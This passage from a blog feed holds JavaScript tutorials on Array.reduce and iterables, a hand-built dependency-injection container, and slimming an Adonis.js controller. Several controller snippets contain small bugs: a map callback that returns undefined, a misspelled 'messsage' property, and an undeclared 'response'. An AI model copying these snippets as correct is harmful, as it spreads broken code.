<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]
numbers.reduce(<span class="hljs-function">(<span class="hljs-params">result, number</span>) =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(result, number)
    <span class="hljs-keyword">return</span> result + number
}, <span class="hljs-number">0</span>)
</code></pre>
<p>the logs would show:</p>
<ul>
<li>0, 1</li>
<li>1, 2</li>
<li>3, 3</li>
</ul>
<p>with the end result being the sum of the last two numbers 3 and 3, so 6.</p>
<p>Of course we can also reduce our array of objects into, let's say a hashmap.</p>
<p>Grouping by the <code>group</code> key, the resulting hashMap should look like this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> users = {
  <span class="hljs-number">1</span>: [
    { <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span> },
  ],
  <span class="hljs-number">2</span>: [
    { <span class="hljs-attr">id</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span> },
  ],
}
</code></pre>
<p>We can achieve this with the following code</p>
<pre class="hljs"><code>users.reduce(<span class="hljs-function">(<span class="hljs-params">result, user</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { group, ...userData } = user
  result[group] = result[group] || []
  result[group].push(userData)
  
  <span class="hljs-keyword">return</span> result
}, {})
</code></pre>
<ul>
<li><code>const { group, ...userData } = user</code> takes the <code>group</code> key from the user, and puts the remaining values inside <code>userData</code>.</li>
<li>With <code>result[group] = result[group] || []</code> we initialize the group in case it doesn't exist yet.</li>
<li>We push <code>userData</code> into the new group</li>
<li>We return the new result for the next iteration</li>
</ul>
<hr>
<h2 id="using-this-knowledge-on-other-iterables-and-array-like-objects">Using this knowledge on other iterables and array-like objects</h2>
<p>Do you remember this from before?</p>
<p><strong>for loop: works on array-like objects</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
    <span class="hljs-comment">//</span>
}
</code></pre>
<p><strong>Array.prototype.forEach: method on the array prototype</strong></p>
<pre class="hljs"><code>users.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">user</span>) </span>{
    <span class="hljs-comment">//</span>
}
</code></pre>
<p><strong>ES6 for of Loop: works on iterables</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> user <span class="hljs-keyword">of</span> users) {
    <span class="hljs-comment">//</span>
}
</code></pre>
<p>Did you realize how significantly different the syntax of the <code>forEach</code> and the two <code>for</code> loops are?</p>
<p>Why? Because the two <code>for</code> loops do not only work on arrays. In fact they have no idea what an array even is.</p>
<p>I am sure you remember this type of code from your CS classes.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> someString = <span class="hljs-string">'Hello World'</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>; i &lt; someString.length; i++) {
    <span class="hljs-built_in">console</span>.log(someString[i]);
}
</code></pre>
<p>We can actually iterate through a string even though it is not an array.</p>
<p>This kind of <code>for</code> loop works with any &quot;array like object&quot;, that is an object with a length property and indexed elements.</p>
<p>The <code>for of</code> loop can be used like this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> someString = <span class="hljs-string">'Hello World'</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> char <span class="hljs-keyword">of</span> someString) {
    <span class="hljs-built_in">console</span>.log(char);
}
</code></pre>
<p>The <code>for of</code> loop works on any object that is iterable.</p>
<p>To check if something is iterable you can use this rather elegant line <code>Symbol.iterator in Object('pretty much any iterable')</code>.</p>
<p>This is also the case when dealing with the DOM. If you open the dev tools right now and execute the following expression in the console, you will get a nice red error.</p>
<pre class="hljs"><code><span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">'div'</span>).filter(<span class="hljs-function"><span class="hljs-params">el</span> =&gt;</span> el.classList.contains(<span class="hljs-string">'text-center'</span>))
</code></pre>
<p>Unfortunately <code>filter</code> does not exist on iterable DOM collections as they are not Arrays and therefore don't share the methods from the Array prototype. Want proof?</p>
<pre class="hljs"><code>(<span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">'div'</span>) <span class="hljs-keyword">instanceof</span> <span class="hljs-built_in">Array</span>) <span class="hljs-comment">//? false</span>
</code></pre>
<p>But it is an array like object</p>
<pre class="hljs"><code>&gt; document.querySelectorAll(<span class="hljs-string">'.contentinfo'</span>)

    NodeList [div<span class="hljs-comment">#license.contentinfo]</span>
        0: div<span class="hljs-comment">#license.contentinfo</span>
        length: 1
        __proto__: NodeList
</code></pre>
<p>and is also iterable</p>
<pre class="hljs"><code><span class="hljs-built_in">Symbol</span>.iterator <span class="hljs-keyword">in</span> <span class="hljs-built_in">Object</span>(<span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">'div'</span>)) <span class="hljs-comment">//? true</span>
</code></pre>
<p>If we want to use our newly trained Array knowledge on let's say iterable DOM collections, we have to first turn them into proper arrays.</p>
<p>There are two ways of doing it.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> array = <span class="hljs-built_in">Array</span>.from(<span class="hljs-built_in">document</span>.querySelectorAll(<span class="hljs-string">'div'</span>))
</code></pre>
<p>or</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> array = [...document.querySelectorAll(<span class="hljs-string">'div'</span>)]
</code></pre>
<p>I personally prefer the first way as it provides more readability.</p>
<h2 id="conclusion">Conclusion</h2>
<p>We went through the most important methods on the array object and took a look at iterables. If we look back to the objectives we set at the start, I think it is safe to say that we at least accomplished</p>
<ul>
<li>thinking in steps</li>
<li>avoiding temporary variables</li>
<li>avoiding conditionals</li>
</ul>
<p>But I am not fully satisfied with <code>reveal intent</code>.</p>
<p>While</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>is definitely much more readable than</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  usernames.push(user.name)
})
</code></pre>
<p>wouldn't</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.pluck(<span class="hljs-string">'name'</span>)
</code></pre>
<p>be even nicer?</p>
<p>In the next article, we will take a look at subclassing arrays, so we can provide exactly such functionality. It will also be a great entry point for unit testing with Node.js, so stay tuned.</p>
<p>P.S. if you are a fan of Laravel, please take a look at <a href="https://www.youtube.com/watch?v=crSUWtRYw-M&amp;t=639s">Laravel Collections</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automatic Dependency Injection in JavaScript]]></title>
            <link>https://michaelzanggl.com/articles/automatic-dependency-injection-in-javascript/</link>
            <guid>automatic-dependency-injection-in-javascript</guid>
            <description><![CDATA[We learnt about dependency injection and ioc, there is one last step.]]></description>
            <content:encoded><![CDATA[<p><a href="/articles/demystifying-dependency-injection">In the previous post</a> we were implementing our very own ioc container by creating bindings with <code>ioc.bind</code> and <code>ioc.singleton</code>.
But this setup can be a little cumbersome. That's why many frameworks also come with automatic dependency injection.</p>
<p>Laravel can do this thanks to PHP's typehinting mechanism</p>
<pre class="hljs"><code><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span><span class="hljs-params">(UserRepository $users)</span>
</span>{
    <span class="hljs-keyword">$this</span>-&gt;users = $users;
}
</code></pre>
<p>Angular makes use of <a href="http://nicholasjohnson.com/blog/how-angular2-di-works-with-typescript/">TypeScript's emitDecorateMetadata</a>.</p>
<pre class="hljs"><code><span class="hljs-keyword">class</span> Pterodactyls {}

<span class="hljs-meta">@Component</span>({...})
<span class="hljs-keyword">class</span> Park {
    <span class="hljs-keyword">constructor</span>(<span class="hljs-params">x: Pterodactyls, y: <span class="hljs-built_in">string</span></span>) {}
}
</code></pre>
<p>But these luxuries don't come in vanilla JavaScript. So in this article we will implement automatic injection in a similar fashion it was done <a href="https://adonisjs.com/">on the MVC framework Adonis.js</a>.</p>
<p>You can find the complete code on the same <a href="https://github.com/MZanggl/ioc-node">GitHub</a> as in the last post.</p>
<x-ad />
<p>We start off with (a little improved version of) the code from last time:</p>
<pre class="hljs"><code><span class="hljs-built_in">module</span>.exports = <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createIoC</span>(<span class="hljs-params">rootPath</span>) </span>{
    <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">_container</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
        <span class="hljs-attr">_fakes</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
        bind(key, callback) {
            <span class="hljs-keyword">this</span>._container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">false</span>})
        },
        singleton(key, callback) {
            <span class="hljs-keyword">this</span>._container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">true</span>})
        },
        fake(key, callback) {
            <span class="hljs-keyword">const</span> item = <span class="hljs-keyword">this</span>._container.get(key)
            <span class="hljs-keyword">this</span>._fakes.set(key, {callback, <span class="hljs-attr">singleton</span>: item ? item.singleton : <span class="hljs-literal">false</span>})
        },
        restore(key) {
            <span class="hljs-keyword">this</span>._fakes.delete(key)
        },
        _findInContainer(namespace) {
            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>._fakes.has(namespace)) {
                <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>._fakes.get(namespace)
            }

            <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>._container.get(namespace)
        },
        use(namespace) {
            <span class="hljs-keyword">const</span> item = <span class="hljs-keyword">this</span>._findInContainer(namespace)

            <span class="hljs-keyword">if</span> (item) {
                <span class="hljs-keyword">if</span> (item.singleton &amp;&amp; !item.instance) {
                    item.instance = item.callback()
                }
                <span class="hljs-keyword">return</span> item.singleton ? item.instance : item.callback()
            }

            <span class="hljs-keyword">return</span> <span class="hljs-built_in">require</span>(path.join(rootPath, namespace))
        }
    }
}
</code></pre>
<p>The idea is to avoid newing up classes manually and using a new method <code>ioc.make</code> instead. Let's write the simplest test we can think of.</p>
<pre class="hljs"><code>describe(<span class="hljs-string">'auto injection'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'can new up classes'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> SimpleClass = ioc.use(<span class="hljs-string">'test/modules/SimpleClass'</span>)
        <span class="hljs-keyword">const</span> test = ioc.make(SimpleClass)
        expect(test).to.be.instanceOf(SimpleClass)
    })
})
</code></pre>
<p>And <code>SimpleClass</code> looks like this</p>
<pre class="hljs"><code><span class="hljs-comment">// test/modules/SimpleClass.js</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SimpleClass</span> </span>{}

<span class="hljs-built_in">module</span>.exports = SimpleClass
</code></pre>
<p>Running the test should fail because we have not yet implemented <code>ioc.make</code>. Let's implement it in <code>index.js</code></p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> ioc = {
    <span class="hljs-comment">// ...</span>
    make(object) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object
    }
}
</code></pre>
<p>The test passes!
But it is a little annoying to always have to first do <code>ioc.use</code> and then <code>ioc.make</code> to new up classes. So let's make it possible to pass a string into <code>ioc.make</code> that will resolve the dependency inside.</p>
<p>A new test!</p>
<pre class="hljs"><code>it(<span class="hljs-string">'can make classes using the filepath instead of the class declaration'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> test = ioc.make(<span class="hljs-string">'test/modules/SimpleClass'</span>)
    expect(test).to.be.instanceOf(ioc.use(<span class="hljs-string">'test/modules/SimpleClass'</span>))
})
</code></pre>
<p>and <code>ioc.make</code> becomes</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> object === <span class="hljs-string">'string'</span>) {
    object = <span class="hljs-keyword">this</span>.use(object)
}
            
<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object
</code></pre>
<p>Nice! With this, we can already new up classes. And the best thing is, they are fakable because <code>ioc.use</code> first looks in the fake container that we can fill with <code>ioc.fake</code>.</p>
<p>With that out of the way, let's build the automatic injection mechanism. The test:</p>
<pre class="hljs"><code>it(<span class="hljs-string">'should auto inject classes found in static inject'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> injectsSimpleClass = ioc.make(<span class="hljs-string">'test/modules/InjectsSimpleClass'</span>)

        expect( injectsSimpleClass.simpleClass ).to.be.instanceOf( ioc.use(<span class="hljs-string">'test/modules/SimpleClass'</span>) )
})
</code></pre>
<p>And we have to create the class <code>InjectsSimpleClass.js</code></p>
<pre class="hljs"><code><span class="hljs-comment">// test/modules/InjectsSimpleClass.js</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">InjectsSimpleClass</span> </span>{
    <span class="hljs-keyword">static</span> <span class="hljs-keyword">get</span> inject() {
        <span class="hljs-keyword">return</span> [<span class="hljs-string">'test/modules/SimpleClass'</span>]
    }

    <span class="hljs-keyword">constructor</span>(simpleClass) {
        <span class="hljs-keyword">this</span>.simpleClass = simpleClass
    }
}

<span class="hljs-built_in">module</span>.exports = InjectsSimpleClass
</code></pre>
<p>The idea is that we statically define all the classes that need to be injected. These will be resolved by the ioc container and newed up as well.</p>
<p><code>ioc.make</code> will become:</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> object === <span class="hljs-string">'string'</span>) {
    object = <span class="hljs-keyword">this</span>.use(object)
}

<span class="hljs-comment">// if the object does not have a static inject property, let's just new up the class</span>
<span class="hljs-keyword">if</span> (!<span class="hljs-built_in">Array</span>.isArray(object.inject)) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object
}

<span class="hljs-comment">// resolve everything that needs to be injected</span>
<span class="hljs-keyword">const</span> dependencies = object.inject.map(<span class="hljs-function"><span class="hljs-params">path</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> classDeclaration = <span class="hljs-keyword">this</span>.use(path)
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> classDeclaration
})

<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object(...dependencies)
</code></pre>
<p>Not bad. But something about <code>return new classDeclaration</code> seems wrong... What if this injected class also has dependencies to resolve? This sounds like a classic case for recursion! Let's try it out with a new test.</p>
<pre class="hljs"><code>it(<span class="hljs-string">'should auto inject recursively'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> recursiveInjection = ioc.make(<span class="hljs-string">'test/modules/RecursiveInjection'</span>)
    expect(recursiveInjection.injectsSimpleClass.simpleClass).to.be.instanceOf(
            ioc.use(<span class="hljs-string">'test/modules/SimpleClass'</span>)
        )
    })
</code></pre>
<p>And we have to create a new file to help us with the test.</p>
<pre class="hljs"><code><span class="hljs-comment">// test/modules/RecursiveInjection.js</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RecursiveInjection</span> </span>{

    <span class="hljs-keyword">static</span> <span class="hljs-keyword">get</span> inject() {
        <span class="hljs-keyword">return</span> [<span class="hljs-string">'test/modules/InjectsSimpleClass'</span>]
    }

    <span class="hljs-keyword">constructor</span>(injectsSimpleClass) {
        <span class="hljs-keyword">this</span>.injectsSimpleClass = injectsSimpleClass
    }
}

<span class="hljs-built_in">module</span>.exports = RecursiveInjection
</code></pre>
<p>The test will currently fail saying <code>AssertionError: expected undefined to be an instance of SimpleClass</code>. All we have to do is switch out</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> dependencies = object.inject.map(<span class="hljs-function"><span class="hljs-params">path</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> classDeclaration = <span class="hljs-keyword">this</span>.use(path)
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> classDeclaration
})
</code></pre>
<p>with</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> dependencies = object.inject.map(<span class="hljs-function"><span class="hljs-params">path</span> =&gt;</span> <span class="hljs-keyword">this</span>.make(path))
</code></pre>
<p>Altogether, the <code>make</code> method looks like this</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> object === <span class="hljs-string">'string'</span>) {
    object = <span class="hljs-keyword">this</span>.use(object)
}

<span class="hljs-comment">// if the object does not have a static inject property, let's just new up the class</span>
<span class="hljs-keyword">if</span> (!<span class="hljs-built_in">Array</span>.isArray(object.inject)) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object
}

<span class="hljs-comment">// resolve everything that needs to be injected</span>
<span class="hljs-keyword">const</span> dependencies = object.inject.map(<span class="hljs-function"><span class="hljs-params">path</span> =&gt;</span> <span class="hljs-keyword">this</span>.make(path))

<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> object(...dependencies)
</code></pre>
<p>And that's pretty much it! The version in the repo handles some more things like not newing up non-classes, being able to pass additional arguments, aliasing etc. But this should cover the basics of automatic injection. It's surprising how little code is necessary to achieve this.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Avoiding fat controllers in Adonis.js]]></title>
            <link>https://michaelzanggl.com/articles/avoiding-fat-controllers-in-adonisjs/</link>
            <guid>avoiding-fat-controllers-in-adonisjs</guid>
            <description><![CDATA[Taking a look at controllers and how they can grow into big junks of code, and how we can avoid this.]]></description>
            <content:encoded><![CDATA[<p>Today we will take a look at controllers and how they can grow into big junks of code, and how we can avoid this.</p>
<p>For the example we have an API endpoint that creates an article.</p>
<p>This is the route:</p>
<pre class="hljs"><code><span class="hljs-comment">// routes.js</span>

Route.group(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  Route.post(<span class="hljs-string">"store"</span>, <span class="hljs-string">"ArticleController.store"</span>).middleware(<span class="hljs-string">"auth"</span>);
}).prefix(<span class="hljs-string">"article"</span>);
</code></pre>
<p>At first our controller looks more or less fine.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> Article = use(<span class="hljs-string">'App/Models/Article'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ArticleController</span> </span>{
    <span class="hljs-keyword">async</span> store({ params, auth, request }) {
        <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> Article.create({
            <span class="hljs-attr">title</span>: request.input(<span class="hljs-string">'title'</span>),
            <span class="hljs-attr">description</span>: request.input(<span class="hljs-string">'description'</span>),
            <span class="hljs-attr">user_id</span>: auth.user.id,
        })

        <span class="hljs-keyword">return</span> response.json({
            <span class="hljs-attr">article</span>: article.toJSON()
        })
    }
}
</code></pre>
<p>But now we get additional requirements. Articles have tags and we have to save them in the <code>ArticleTag</code> table. We quickly implement it, but then realized that we also have to make sure that the title and description are actually filled. So we implement validation. Since it is not much, we simply add all the code to the controller. A couple days later though we receive the requirements that we should send a mail to all followers and also need a password verification. Again, not much, let's just add it to the controller!</p>
<p>Now that's quite a lot. And it's especially a lot when considering that everything is in this one controller method. It would look something like this:</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-comment">/** <span class="hljs-doctag">@type <span class="hljs-type">{import('@adonisjs/framework/src/Hash')}</span> </span>*/</span>
<span class="hljs-keyword">const</span> Hash = use(<span class="hljs-string">'Hash'</span>)
<span class="hljs-keyword">const</span> Article = use(<span class="hljs-string">'App/Models/Article'</span>)
<span class="hljs-keyword">const</span> ArticleTag = use(<span class="hljs-string">'App/Models/ArticleTag'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ArticleController</span> </span>{
    <span class="hljs-keyword">async</span> store({ params, auth, request }) {
        <span class="hljs-comment">// validation rules</span>
        <span class="hljs-keyword">const</span> rules = {
            <span class="hljs-attr">title</span>: <span class="hljs-string">'required'</span>,
            <span class="hljs-attr">description</span>: <span class="hljs-string">'required'</span>,
        }
        <span class="hljs-keyword">const</span> validation = <span class="hljs-keyword">await</span> validate(request.all(), rules)

        <span class="hljs-keyword">if</span> (validation.fails()) {
            <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({
                <span class="hljs-attr">message</span>: validation.messages()[<span class="hljs-number">0</span>].messsage,
            })
        }

        <span class="hljs-comment">// verify password</span>
        <span class="hljs-keyword">if</span> (!(<span class="hljs-keyword">await</span> Hash.verify(request.input(<span class="hljs-string">'password'</span>), auth.user.password))) {
            <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({
                <span class="hljs-attr">message</span>: <span class="hljs-string">'The entered password is not correct'</span>,
            })
        }

        <span class="hljs-comment">// actual work</span>
        <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> Article.create({
            <span class="hljs-attr">title</span>: request.input(<span class="hljs-string">'title'</span>),
            <span class="hljs-attr">description</span>: request.input(<span class="hljs-string">'description'</span>),
            <span class="hljs-attr">user_id</span>: auth.user.id,
        })

        <span class="hljs-keyword">const</span> tags = <span class="hljs-built_in">JSON</span>.parse(request.input(<span class="hljs-string">'tags'</span>))
        <span class="hljs-keyword">const</span> articleTags = tags.map(<span class="hljs-function"><span class="hljs-params">tagId</span> =&gt;</span> {
            <span class="hljs-attr">article_id</span>: article.id,
            <span class="hljs-attr">tag_id</span>: tagId
        })

        <span class="hljs-keyword">await</span> ArticleTag.createMany(articleTags)

        <span class="hljs-comment">// some afterwork</span>
        <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.sendMailToFollowers(article)

        <span class="hljs-keyword">return</span> response.json({
            <span class="hljs-attr">article</span>: article.toJSON()
        })
    }

    sendMailToFollowers(article) {
        <span class="hljs-comment">// some big private method</span>
    }
}
</code></pre>
<p>That's a lot of code! And the controller just has one method so far. Let's see how Adonis helps us to clean things up.</p>
<h2 id="validation">Validation</h2>
<p>The first piece of code we want to take a look at is the validation part.</p>
<pre class="hljs"><code><span class="hljs-comment">// validation rules</span>
<span class="hljs-keyword">const</span> rules = {
  <span class="hljs-attr">title</span>: <span class="hljs-string">"required"</span>,
  <span class="hljs-attr">description</span>: <span class="hljs-string">"required"</span>
};
<span class="hljs-keyword">const</span> validation = <span class="hljs-keyword">await</span> validate(request.all(), rules);

<span class="hljs-keyword">if</span> (validation.fails()) {
  <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({
    <span class="hljs-attr">message</span>: validation.messages()[<span class="hljs-number">0</span>].messsage
  });
}
</code></pre>
<p>This can be extracted 100% by putting the validation into its own <a href="https://adonisjs.com/docs/4.1/validator">validator</a>. Adonis offers the following command to create such a validator.</p>
<pre class="hljs"><code>adonis make:validator StoreArticle
</code></pre>
<p>and this is the implementation:</p>
<pre class="hljs"><code><span class="hljs-meta">"use strict"</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StoreArticle</span> </span>{
  <span class="hljs-keyword">get</span> rules() {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">title</span>: <span class="hljs-string">"required"</span>,
      <span class="hljs-attr">description</span>: <span class="hljs-string">"required"</span>
    };
  }

  <span class="hljs-keyword">async</span> fails(errorMessages) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.ctx.response.status(<span class="hljs-number">400</span>).json({
      <span class="hljs-attr">message</span>: errorMessages[<span class="hljs-number">0</span>].message
    });
  }
}

<span class="hljs-built_in">module</span>.exports = StoreArticle;
</code></pre>
<p>Now we just have to add the validator to our existing route.</p>
<pre class="hljs"><code><span class="hljs-comment">// routes.js</span>

Route.group(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  Route.post(<span class="hljs-string">"store"</span>, <span class="hljs-string">"ArticleController.store"</span>)
    .middleware(<span class="hljs-string">"auth"</span>)
    .validator(<span class="hljs-string">"StoreArticle"</span>);
}).prefix(<span class="hljs-string">"article"</span>);
</code></pre>
<p>and since the <code>fails</code> part is always the same, once we have more than one validator, we could create a <code>BaseValidator</code> class and always extend from it.</p>
<p>Okay, that's one down, but there is still a lot of room for improvement.</p>
<p>Next let's check out the password verifcation. Chances are that we need this in more than one place. It would also be nice to have this seperated, so it can easily be removed if specs change. Keeping it in the controller simply feels out of place here. A good place to put it is inside a <a href="https://adonisjs.com/docs/4.1/middleware">middleware</a>.</p>
<x-ad />
<h2 id="middlewares">Middlewares</h2>
<p>The part we want to get rid of is this here.</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (!(<span class="hljs-keyword">await</span> Hash.verify(request.input(<span class="hljs-string">"password"</span>), auth.user.password))) {
  <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({
    <span class="hljs-attr">message</span>: <span class="hljs-string">"The entered password is not correct"</span>
  });
}
</code></pre>
<p>So let's create a middleware for it.</p>
<pre class="hljs"><code>adonis make:middleware VerifyPassword
</code></pre>
<p>And here is the implementation.</p>
<pre class="hljs"><code><span class="hljs-meta">"use strict"</span>;
<span class="hljs-comment">/** @type {import('@adonisjs/framework/src/Hash')} */</span>
<span class="hljs-keyword">const</span> Hash = use(<span class="hljs-string">"Hash"</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">VerifyPassword</span> </span>{
  <span class="hljs-keyword">async</span> handle({ request, auth, response }, next, properties) {
    <span class="hljs-keyword">if</span> (!(<span class="hljs-keyword">await</span> Hash.verify(request.input(<span class="hljs-string">"password"</span>), auth.user.password))) {
      <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">400</span>).json({
        <span class="hljs-attr">message</span>: <span class="hljs-string">"The entered password is not correct"</span>
      });
    }

    <span class="hljs-keyword">await</span> next();
  }
}

<span class="hljs-built_in">module</span>.exports = VerifyPassword;
</code></pre>
<p>Next we add it to the named middlewares in <code>start/kernel.js</code>.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> namedMiddleware = {
  <span class="hljs-comment">// ...</span>
  <span class="hljs-attr">verifyPassword</span>: <span class="hljs-string">"App/Middleware/VerifyPassword"</span>
};
</code></pre>
<p>All that is left now is to add the middleware to the route.</p>
<pre class="hljs"><code><span class="hljs-comment">// routes.js</span>

Route.group(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  Route.post(<span class="hljs-string">"store"</span>, <span class="hljs-string">"ArticleController.store"</span>)
    .middleware([<span class="hljs-string">"auth"</span>, <span class="hljs-string">"verifyPassword"</span>])
    .validator(<span class="hljs-string">"StoreArticle"</span>);
}).prefix(<span class="hljs-string">"article"</span>);
</code></pre>
<p>This could have also been solved by <a href="https://adonisjs.com/docs/4.1/validator#_extending_validator">extending the validator</a> and adding another validation rule to the <code>StoreArticle.js</code> validator.</p>
<h2 id="events">Events</h2>
<p>If operations don't need to be executed immediately, we can execute them asynchroniously using <a href="https://adonisjs.com/docs/4.1/events%5E">Events</a>. This is perfect for things like sending mails.</p>
<p>This is exactly the case with this line of code here.</p>
<pre class="hljs"><code><span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.sendMailToFollowers(article)
</code></pre>
<p>First let's create an event listener:</p>
<pre class="hljs"><code>adonis make:listener Article
</code></pre>
<p>This will create <code>App/Listeners/Article.js</code> and here is its implementation:</p>
<pre class="hljs"><code><span class="hljs-meta">"use strict"</span>;

<span class="hljs-keyword">const</span> Article = (exports = <span class="hljs-built_in">module</span>.exports = {});
<span class="hljs-keyword">const</span> Mail = use(<span class="hljs-string">"Mail"</span>);

Article.registered = <span class="hljs-keyword">async</span> article =&gt; {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'mail implementation'</span>)
};
</code></pre>
<p>Back in <code>ArticleController.js</code> let's add this line to the top:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Event = use(<span class="hljs-string">"Event"</span>);
</code></pre>
<p>All that is left now is to switch out</p>
<pre class="hljs"><code><span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.sendMailToFollowers(article)
</code></pre>
<p>with this line:</p>
<pre class="hljs"><code>Event.fire(<span class="hljs-string">"new::article"</span>, article)
</code></pre>
<hr>
<p>Our controller boiled down to just this.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> Event = use(<span class="hljs-string">"Event"</span>);
<span class="hljs-keyword">const</span> Article = use(<span class="hljs-string">'App/Models/Article'</span>)
<span class="hljs-keyword">const</span> ArticleTag = use(<span class="hljs-string">'App/Models/ArticleTag'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ArticleController</span> </span>{
    <span class="hljs-keyword">async</span> store({ params, auth, request }) {
        <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> Article.create({
            <span class="hljs-attr">title</span>: request.input(<span class="hljs-string">'title'</span>),
            <span class="hljs-attr">description</span>: request.input(<span class="hljs-string">'description'</span>),
            <span class="hljs-attr">user_id</span>: auth.user.id,
        })

        <span class="hljs-keyword">const</span> tags = <span class="hljs-built_in">JSON</span>.parse(request.input(<span class="hljs-string">'tags'</span>))
        <span class="hljs-keyword">const</span> articleTags = tags.map(<span class="hljs-function"><span class="hljs-params">tagId</span> =&gt;</span> {
            <span class="hljs-attr">article_id</span>: article.id,
